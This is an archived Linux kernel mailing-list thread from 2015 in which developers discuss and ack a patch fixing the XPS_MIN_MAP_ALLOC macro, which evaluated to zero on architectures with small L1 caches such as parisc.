DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=QYucyQn4HyJ1+a4OKuFKymyP/6XyLJ7e3qjhjcd+0UM=;
        b=dWwj0NdjhmJlmFACn5dJRA49ujK0B9jVxvUTqJR6IBzSYddQFW96FO0Pf3REi0prJL
         Il51dvIwLNZPEZHK4SfhexfhVdyLUP7sa5S0uitI4J5tjdwURExxY/NhOZuvODipxb0o
         vd/biqOGouA/eWMDi03nOBBKp4YrwybFJSwUwxd8FQqMxz2ZCgq3DyA9x7u0uK7f0yX4
         KRQGfoySTnBM42tc/GY7VKea9GW7UmsXz234gS2npjT+DibBoO5h/wCsKnhLM+n9uQqk
         VztBSY+Nh+RPBspyoX0+9ic5nyF12CK8hLgmGSuU3X0gxK5bvFskqoc47HKKA5zysUlC
         v40g==
X-Received: by 10.66.248.170 with SMTP id yn10mr7433585pac.74.1445640059808;
        Fri, 23 Oct 2015 15:40:59 -0700 (PDT)
Original-Received: from [192.168.1.188] (static-50-53-21-5.bvtn.or.frontiernet.net. [50.53.21.5])
        by smtp.googlemail.com with ESMTPSA id ea5sm7478093pbc.92.2015.10.23.15.40.58
        (version=TLSv1/SSLv3 cipher=OTHER);
        Fri, 23 Oct 2015 15:40:59 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <562AB200.8030209@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26098 gmane.linux.network:384438
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26098>

On 10/23/2015 03:17 PM, Helge Deller wrote:
> On 24.10.2015 00:00, Alexander Duyck wrote:
>> On 10/23/2015 02:08 PM, Helge Deller wrote:
>>> * Eric Dumazet <eric.dumazet@gmail.com>:
>>>> On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:
>>>>
>>>>> Then, how about simply changing it to twice of L1_CACHE_BYTES ?
>>>>>
>>>>> #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))
>>>>
>>>>
>>>> Seems good to me.
>>>
>>> Great!
>>>
>>> Can you then maybe give me an Acked-by or signed-off for the patch below?
>>> It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
>>> gets calculated to zero on any architecture - otherwise no queues would
>>> be allocated.
>>>
>>> In addition I would like to push it for v4.3 then through my parisc-tree
>>> (after keeping it in for-next for 1-2 days), together with the patch
>>> which reduces L1_CACHE_BYTES to 16 on parisc.
>>> Would that be OK too?
>>>
>>> Thanks!
>>> Helge
>>>
>>>
>>> [PATCH] net/xps: Increase initial number of xps queues
>>>
>>> Increase the number of initial allocated xps queues, so that the initial record
>>> allocates twice the size of L1_CACHE_BYTES bytes.
>>>
>>> This change is needed to copy with architectures where L1_CACHE_BYTES is
>>> defined to equal or less than 16 bytes.
>>>
>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>
>>> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
>>> index 2d15e38..d152788 100644
>>> --- a/include/linux/netdevice.h
>>> +++ b/include/linux/netdevice.h
>>> @@ -718,7 +718,7 @@ struct xps_map {
>>>        u16 queues[0];
>>>    };
>>>    #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
>>> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))    \
>>> +#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) \
>>>        / sizeof(u16))
>>>
>>>    /*
>>> diff --git a/net/core/dev.c b/net/core/dev.c
>>> index 6bb6470..f6d6dd1 100644
>>> --- a/net/core/dev.c
>>> +++ b/net/core/dev.c
>>> @@ -1972,6 +1972,8 @@ static struct xps_map *expand_xps_map(struct xps_map *map,
>>>        int alloc_len = XPS_MIN_MAP_ALLOC;
>>>        int i, pos;
>>>
>>> +    BUILD_BUG_ON(XPS_MIN_MAP_ALLOC == 0);
>>> +
>>>        for (pos = 0; map && pos < map->len; pos++) {
>>>            if (map->queues[pos] != index)
>>>                continue;
>>>
>>>
>>
>> Rather then leaving a potential bug you could probably rewrite the macro so that it will give you at least 1.
>>
>> All you need to do is something like the following
>> #define XPS_MIN_MAP_ALLOC \
>>      ((L1_CACHE_ALIGN(offsetof(struct xps_map, queue[1])) - \
>>        sizeof(struct xps_map)) / sizeof(u16))
>>
>> That should give you at least an XPS_MIN_MAP_ALLOC of 1.
>
> Yes, good idea!
> What makes me wonder though (because I have no idea about the XPS code/layer):
> How likely is it, that more than 1 (e.g. minimum "X") queues are needed?
> E.g. if a typical system needs at least 3 queues, then doesn't it make sense to allocate
> at least 3 initially by using queue[3] in your proposed patch above ?
> What would "X" be then?

The question I would have is in how many cases it it likely that 
somebody would enable this feature and point a given CPU at more than 
one queue.  I know the Intel drivers that make use of XPS tend to do a 
1:1 mapping for their ATR feature.  I would think if anything most CPUs 
would probably be mapped many:1, but you probably won't have all that 
many cases where it is 1:many or many:many.

I'd say starting with at least 1 should be fine.  Worst case scenario is 
we have to make a couple more calls to expand_xps_map which will likely 
occur as a slow path and infrequent event anyway.

- Alex

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Sat, 24 Oct 2015 16:43:12 +0200
Lines: 133
Approved: news@gmane.org
Message-ID: <20151024144312.GA26373@ls3530.box>
References: <1445524549.2207.1.camel@HansenPartnership.com>
 <5628F868.3040105@bell.net>
 <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
 <562A8990.9000808@gmx.de>
 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
 <20151023210810.GA1969@ls3530.box>
 <562AAE05.5020300@gmail.com>
 <562AB200.8030209@gmx.de>
 <562AB77A.6080109@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1445697825 16634 80.91.229.3 (24 Oct 2015 14:43:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 24 Oct 2015 14:43:45 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Eric Dumazet <eric.dumazet@gmail.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Alexander Duyck <alexander.duyck@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 24 16:43:34 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zq02Y-0004lk-0u
	for glpp-linux-parisc@plane.gmane.org; Sat, 24 Oct 2015 16:43:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751801AbbJXOnY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 24 Oct 2015 10:43:24 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:57769 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751253AbbJXOnX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 24 Oct 2015 10:43:23 -0400
Original-Received: from ls3530.box ([92.203.46.30]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MePYV-1aA7cx3HLT-00QCsb; Sat, 24 Oct 2015 16:43:17
 +0200
Content-Disposition: inline
In-Reply-To: <562AB77A.6080109@gmail.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:g5OjvFtf8FQUpsio9qEI9I8lHsAOKRa+AVRrddnmHMEKFl9mwYR
 9YGapbGnpFhVI4a+WqLoogn5KtpuVx2F/EqczQ15O+L4fTtfRwOqZKM0z0P4n0cycUOU7g4
 xLUc7XnAUbdw/PrAIa05bBgsKKlFiTn9rz2p351tPVioMNp24+ejnajB0bjxLSdlNw5w1pa
 /thxHSo0JDqc1lhS11BJA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NNWsaGWZJ3Q=:gm9LD7plTZ2I/eP6zvvpkK
 x0I7iVgj3unXWnyDw3r2FCd90AmXbt/H8DlZdoO4bBa7d+OolSOgEutzDAPmSxTmaiINKganm
 aofPB3e8yc+oMjaT1EXfeoez0xyZcqlOw0Pcx+xj237tO21bZNKY0ocFibCFOOi02GuwB0Qhh
 c1+LtmXwWGCqJvxoGtJ1a0JYi1tZ10U+EpmWspGNlrTloRy9yGzaG7+GpwKOi23OvPxvMD1lm
 ZT96jE86TbZW8i83ACo8rt5w8+S80z0QjLwjKN9kzdW6XY92On+BhhsyJARC4t2+AP2UcM4JA
 epAv3btTClcr/Q4TI+AwkBOWCJosBnQZjJ94r8Cd8mqCXj7l4j4GgpRQXY0v8ytVyxYOZ6bj2
 Q4wUP/OYD8l4bv4Ec6EZYsUsXbYpEUQPqOSLiKAyeeb/y+RN/botUynrvCPHKsRzYvslDbXvv
 sAkT4I4m/gnMj5vRxEtjO5VtxQ3a9hVKWuFtidNIN6uMDxk3rLXsYvtwZ2UPMP48x0tJSn6My
 U0JRfzSQua/crTysIIbyqYxlmbmMejdL7PafBR8kRk7WRVlKJY+YPDAFQeqNDOM5Sbvb5a98J
 2BVUkXrhOxTW9/ue+c3YmmWh57Sq/DM9ZF4ubGxYbXYZmbQk36C2zeDkHHQdq9EkAoOsKiUnF
 Lwuj4CmuBR4najlOfRwSnh6aXxvqKgIV5wIZEHNhRucbXK0UsdJiPO1AW8T462RaWn+DN0n4I
 BvyuQ0VsumMd+6znFS0e2HMSlDF8paQRHu/CRVlC/mb4FS5giupFeqAgaiw=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26099 gmane.linux.network:384487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26099>

* Alexander Duyck <alexander.duyck@gmail.com>:
> On 10/23/2015 03:17 PM, Helge Deller wrote:
> >On 24.10.2015 00:00, Alexander Duyck wrote:
> >>On 10/23/2015 02:08 PM, Helge Deller wrote:
> >>>* Eric Dumazet <eric.dumazet@gmail.com>:
> >>>>On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:
> >>>>
> >>>>>Then, how about simply changing it to twice of L1_CACHE_BYTES ?
> >>>>>
> >>>>>#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))
> >>>>
> >>>>
> >>>>Seems good to me.
> >>>
> >>>Great!
> >>>
> >>>Can you then maybe give me an Acked-by or signed-off for the patch below?
> >>>It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
> >>>gets calculated to zero on any architecture - otherwise no queues would
> >>>be allocated.
> >>>
> >>>In addition I would like to push it for v4.3 then through my parisc-tree
> >>>(after keeping it in for-next for 1-2 days), together with the patch
> >>>which reduces L1_CACHE_BYTES to 16 on parisc.
> >>>Would that be OK too?
> >>>
> >>>Thanks!
> >>>Helge
> >>>
> >>>
> >>>[PATCH] net/xps: Increase initial number of xps queues
> >>>
> >>>Increase the number of initial allocated xps queues, so that the initial record
> >>>allocates twice the size of L1_CACHE_BYTES bytes.
> >>>
> >>>This change is needed to copy with architectures where L1_CACHE_BYTES is
> >>>defined to equal or less than 16 bytes.
> >>>
> >>>Signed-off-by: Helge Deller <deller@gmx.de>
> >>>
> >>>diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
> >>>index 2d15e38..d152788 100644
> >>>--- a/include/linux/netdevice.h
> >>>+++ b/include/linux/netdevice.h
> >>>@@ -718,7 +718,7 @@ struct xps_map {
> >>>       u16 queues[0];
> >>>   };
> >>>   #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
> >>>-#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))    \
> >>>+#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) \
> >>>       / sizeof(u16))
> >>>
> >>>   /*
> >>>diff --git a/net/core/dev.c b/net/core/dev.c
> >>>index 6bb6470..f6d6dd1 100644
> >>>--- a/net/core/dev.c
> >>>+++ b/net/core/dev.c
> >>>@@ -1972,6 +1972,8 @@ static struct xps_map *expand_xps_map(struct xps_map *map,
> >>>       int alloc_len = XPS_MIN_MAP_ALLOC;
> >>>       int i, pos;
> >>>
> >>>+    BUILD_BUG_ON(XPS_MIN_MAP_ALLOC == 0);
> >>>+
> >>>       for (pos = 0; map && pos < map->len; pos++) {
> >>>           if (map->queues[pos] != index)
> >>>               continue;
> >>>
> >>>
> >>
> >>Rather then leaving a potential bug you could probably rewrite the macro so that it will give you at least 1.
> >>
> >>All you need to do is something like the following
> >>#define XPS_MIN_MAP_ALLOC \
> >>     ((L1_CACHE_ALIGN(offsetof(struct xps_map, queue[1])) - \
> >>       sizeof(struct xps_map)) / sizeof(u16))
> >>
> >>That should give you at least an XPS_MIN_MAP_ALLOC of 1.
> >
> >Yes, good idea!
> >
> >What makes me wonder though (because I have no idea about the XPS code/layer):
> >How likely is it, that more than 1 (e.g. minimum "X") queues are needed?
> >E.g. if a typical system needs at least 3 queues, then doesn't it make sense to allocate
> >at least 3 initially by using queue[3] in your proposed patch above ?
> >What would "X" be then?
> 
> The question I would have is in how many cases it it likely that somebody
> would enable this feature and point a given CPU at more than one queue.  I
> know the Intel drivers that make use of XPS tend to do a 1:1 mapping for
> their ATR feature.  I would think if anything most CPUs would probably be
> mapped many:1, but you probably won't have all that many cases where it is
> 1:many or many:many.
> 
> I'd say starting with at least 1 should be fine.  Worst case scenario is we
> have to make a couple more calls to expand_xps_map which will likely occur
> as a slow path and infrequent event anyway.

Ok, can I get then the signed-off or acked-by from you for this patch?

Thanks,
Helge


[PATCH] net/xps: Fix calculation of initial number of xps queues

The existing code breaks on architectures where the L1 cache size
(L1_CACHE_BYTES) is smaller or equal the size of struct xps_map.

The new code ensures that we get at minimum one initial xps queue, or
even more as long as it fits into the next multiple of L1_CACHE_SIZE.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
index 2d15e38..2212c82 100644
--- a/include/linux/netdevice.h
+++ b/include/linux/netdevice.h
@@ -718,8 +718,8 @@ struct xps_map {
 	u16 queues[0];
 };
 #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
-#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))	\
-    / sizeof(u16))
+#define XPS_MIN_MAP_ALLOC ((L1_CACHE_ALIGN(offsetof(struct xps_map, queues[1])) \
+       - sizeof(struct xps_map)) / sizeof(u16))
 
 /*
  * This structure holds all XPS maps for device.  Maps are indexed by CPU.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Duyck <alexander.duyck@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: CONFIG_XPS depends on L1_CACHE_BYTES being greater than
 sizeof(struct xps_map)
Date: Sat, 24 Oct 2015 22:41:47 -0700
Lines: 139
Approved: news@gmane.org
Message-ID: <562C6B9B.3090804@gmail.com>
References: <1445524549.2207.1.camel@HansenPartnership.com>
 <5628F868.3040105@bell.net> <5629404B.8090805@gmx.de>
 <1445550615.22974.128.camel@edumazet-glaptop2.roam.corp.google.com>
 <562A8990.9000808@gmx.de>
 <1445630588.22974.187.camel@edumazet-glaptop2.roam.corp.google.com>
 <20151023210810.GA1969@ls3530.box> <562AAE05.5020300@gmail.com>
 <562AB200.8030209@gmx.de> <562AB77A.6080109@gmail.com>
 <20151024144312.GA26373@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1445751727 8816 80.91.229.3 (25 Oct 2015 05:42:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Oct 2015 05:42:07 +0000 (UTC)
Cc: Eric Dumazet <eric.dumazet@gmail.com>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Tom Herbert <therbert@google.com>,
	"David S. Miller" <davem@davemloft.net>, netdev@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 25 06:41:57 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZqE3z-000757-5W
	for glpp-linux-parisc@plane.gmane.org; Sun, 25 Oct 2015 06:41:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750944AbbJYFlu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 25 Oct 2015 01:41:50 -0400
Original-Received: from mail-pa0-f47.google.com ([209.85.220.47]:35199 "EHLO
	mail-pa0-f47.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750908AbbJYFlt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 25 Oct 2015 01:41:49 -0400
Original-Received: by pasz6 with SMTP id z6so155181621pas.2;
        Sat, 24 Oct 2015 22:41:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=subject:to:references:cc:from:message-id:date:user-agent
         :mime-version:in-reply-to:content-type:content-transfer-encoding;
        bh=YHawd/5lUtAcz01UIJ62to+URdqIkZPkvQbof0HeYa4=;
        b=iw7GiLMguouYVHRCxQL+V1gg7ZNJvqoIi+x5hFZesZLOcj9Z2WfPzPjuEi0M9iwdPB
         FgW061IkButEWVgrqIfzbz5F6g0I/pSj/ivneS8eQ2gP0NqvnGw9DGxTD7eZnDyRpQDS
         b5nRz2mvFboU/ZzWy5ecfjP90Bg5ZF+UhG4ONko9z5A17yWS2t1/vmseOJ8MPmS16lzY
         L2d4kTH3Ef4Z22ta7UQkRz/Y2OJL+TPH5Ene7P7YDHEj2CPYyHZKXAOKnT1i5RtkxYLJ
         jHe9AiDQOhpaOhsj4ZGL81fP78KkXl1WOQFF+sh/YBluL1ttbfQVG+xM9Mz+8N5uwOE6
         QSog==
X-Received: by 10.68.237.194 with SMTP id ve2mr15159347pbc.134.1445751709269;
        Sat, 24 Oct 2015 22:41:49 -0700 (PDT)
Original-Received: from [192.168.1.188] (static-50-53-21-5.bvtn.or.frontiernet.net. [50.53.21.5])
        by smtp.googlemail.com with ESMTPSA id g12sm27131903pat.36.2015.10.24.22.41.48
        (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Sat, 24 Oct 2015 22:41:48 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20151024144312.GA26373@ls3530.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26100 gmane.linux.network:384514
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26100>

On 10/24/2015 07:43 AM, Helge Deller wrote:
> * Alexander Duyck <alexander.duyck@gmail.com>:
>> On 10/23/2015 03:17 PM, Helge Deller wrote:
>>> On 24.10.2015 00:00, Alexander Duyck wrote:
>>>> On 10/23/2015 02:08 PM, Helge Deller wrote:
>>>>> * Eric Dumazet <eric.dumazet@gmail.com>:
>>>>>> On Fri, 2015-10-23 at 21:25 +0200, Helge Deller wrote:
>>>>>>
>>>>>>> Then, how about simply changing it to twice of L1_CACHE_BYTES ?
>>>>>>>
>>>>>>> #define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) / sizeof(u16))
>>>>>>
>>>>>>
>>>>>> Seems good to me.
>>>>>
>>>>> Great!
>>>>>
>>>>> Can you then maybe give me an Acked-by or signed-off for the patch below?
>>>>> It further adds a compile-time check to avoid that XPS_MIN_MAP_ALLOC
>>>>> gets calculated to zero on any architecture - otherwise no queues would
>>>>> be allocated.
>>>>>
>>>>> In addition I would like to push it for v4.3 then through my parisc-tree
>>>>> (after keeping it in for-next for 1-2 days), together with the patch
>>>>> which reduces L1_CACHE_BYTES to 16 on parisc.
>>>>> Would that be OK too?
>>>>>
>>>>> Thanks!
>>>>> Helge
>>>>>
>>>>>
>>>>> [PATCH] net/xps: Increase initial number of xps queues
>>>>>
>>>>> Increase the number of initial allocated xps queues, so that the initial record
>>>>> allocates twice the size of L1_CACHE_BYTES bytes.
>>>>>
>>>>> This change is needed to copy with architectures where L1_CACHE_BYTES is
>>>>> defined to equal or less than 16 bytes.
>>>>>
>>>>> Signed-off-by: Helge Deller <deller@gmx.de>
>>>>>
>>>>> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
>>>>> index 2d15e38..d152788 100644
>>>>> --- a/include/linux/netdevice.h
>>>>> +++ b/include/linux/netdevice.h
>>>>> @@ -718,7 +718,7 @@ struct xps_map {
>>>>>        u16 queues[0];
>>>>>    };
>>>>>    #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
>>>>> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))    \
>>>>> +#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES * 2 - sizeof(struct xps_map)) \
>>>>>        / sizeof(u16))
>>>>>
>>>>>    /*
>>>>> diff --git a/net/core/dev.c b/net/core/dev.c
>>>>> index 6bb6470..f6d6dd1 100644
>>>>> --- a/net/core/dev.c
>>>>> +++ b/net/core/dev.c
>>>>> @@ -1972,6 +1972,8 @@ static struct xps_map *expand_xps_map(struct xps_map *map,
>>>>>        int alloc_len = XPS_MIN_MAP_ALLOC;
>>>>>        int i, pos;
>>>>>
>>>>> +    BUILD_BUG_ON(XPS_MIN_MAP_ALLOC == 0);
>>>>> +
>>>>>        for (pos = 0; map && pos < map->len; pos++) {
>>>>>            if (map->queues[pos] != index)
>>>>>                continue;
>>>>>
>>>>>
>>>>
>>>> Rather then leaving a potential bug you could probably rewrite the macro so that it will give you at least 1.
>>>>
>>>> All you need to do is something like the following
>>>> #define XPS_MIN_MAP_ALLOC \
>>>>      ((L1_CACHE_ALIGN(offsetof(struct xps_map, queue[1])) - \
>>>>        sizeof(struct xps_map)) / sizeof(u16))
>>>>
>>>> That should give you at least an XPS_MIN_MAP_ALLOC of 1.
>>>
>>> Yes, good idea!
>>>
>>> What makes me wonder though (because I have no idea about the XPS code/layer):
>>> How likely is it, that more than 1 (e.g. minimum "X") queues are needed?
>>> E.g. if a typical system needs at least 3 queues, then doesn't it make sense to allocate
>>> at least 3 initially by using queue[3] in your proposed patch above ?
>>> What would "X" be then?
>>
>> The question I would have is in how many cases it it likely that somebody
>> would enable this feature and point a given CPU at more than one queue.  I
>> know the Intel drivers that make use of XPS tend to do a 1:1 mapping for
>> their ATR feature.  I would think if anything most CPUs would probably be
>> mapped many:1, but you probably won't have all that many cases where it is
>> 1:many or many:many.
>>
>> I'd say starting with at least 1 should be fine.  Worst case scenario is we
>> have to make a couple more calls to expand_xps_map which will likely occur
>> as a slow path and infrequent event anyway.
>
> Ok, can I get then the signed-off or acked-by from you for this patch?
>
> Thanks,
> Helge
>
>
> [PATCH] net/xps: Fix calculation of initial number of xps queues
>
> The existing code breaks on architectures where the L1 cache size
> (L1_CACHE_BYTES) is smaller or equal the size of struct xps_map.
>
> The new code ensures that we get at minimum one initial xps queue, or
> even more as long as it fits into the next multiple of L1_CACHE_SIZE.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/include/linux/netdevice.h b/include/linux/netdevice.h
> index 2d15e38..2212c82 100644
> --- a/include/linux/netdevice.h
> +++ b/include/linux/netdevice.h
> @@ -718,8 +718,8 @@ struct xps_map {
>   	u16 queues[0];
>   };
>   #define XPS_MAP_SIZE(_num) (sizeof(struct xps_map) + ((_num) * sizeof(u16)))
> -#define XPS_MIN_MAP_ALLOC ((L1_CACHE_BYTES - sizeof(struct xps_map))	\
> -    / sizeof(u16))
> +#define XPS_MIN_MAP_ALLOC ((L1_CACHE_ALIGN(offsetof(struct xps_map, queues[1])) \
> +       - sizeof(struct xps_map)) / sizeof(u16))
>
>   /*
>    * This structure holds all XPS maps for device.  Maps are indexed by CPU.
>

This looks good to me.

Acked-by: Alexander Duyck <aduyck@mirantis.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [GIT PULL] parisc architecture updates for v4.3
Date: Sun, 25 Oct 2015 12:49:34 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20151025114934.GA11108@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1445773808 18927 80.91.229.3 (25 Oct 2015 11:50:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 25 Oct 2015 11:50:08 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Sun Oct 25 12:49:57 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZqJo9-0000vm-Qe
	for glk-linux-kernel-3@plane.gmane.org; Sun, 25 Oct 2015 12:49:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751928AbbJYLtr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sun, 25 Oct 2015 07:49:47 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:55004 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751654AbbJYLto (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Sun, 25 Oct 2015 07:49:44 -0400
Original-Received: from ls3530.box ([92.203.6.31]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0Ln897-1aQmXx0FxN-00hJrR; Sun, 25 Oct 2015 12:49:40
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:MW++/+enjv3x7NEw6/8QSdTOt4fvlAs1YA7zqSP4Vb35WrLUDFQ
 Do7v0AgXSLR9qqDr8bOI5T551ehHQvaNNkdMRdPMhP5BXOkrMumnsuXAVqBEr/dqcnSfwjA
 KJZ3URu8hojv8NxwUi3Q+jz4gOeWHUIE5GX4RbEPNPU3bp5Vs0r4aD2lAa7s4LttDTeszlM
 jnFEvgBH9LpRq04DcC1nQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:rx5qdlGJHrI=:b8tLfUaypcWSrb36R6yVip
 fdEoJoOSjs6DNw16ixzOJIZX8wlMAUCl+hDxwMzdJtmxAFSkDxuNuI3HyVQzK8u8Y98HhJNnV
 87lgpDIMVM6eBQ+GpncTtKM5TBKp10VdZW/SQucfLEhFfuAFr9626i03VOhiWunujN2u04ct+
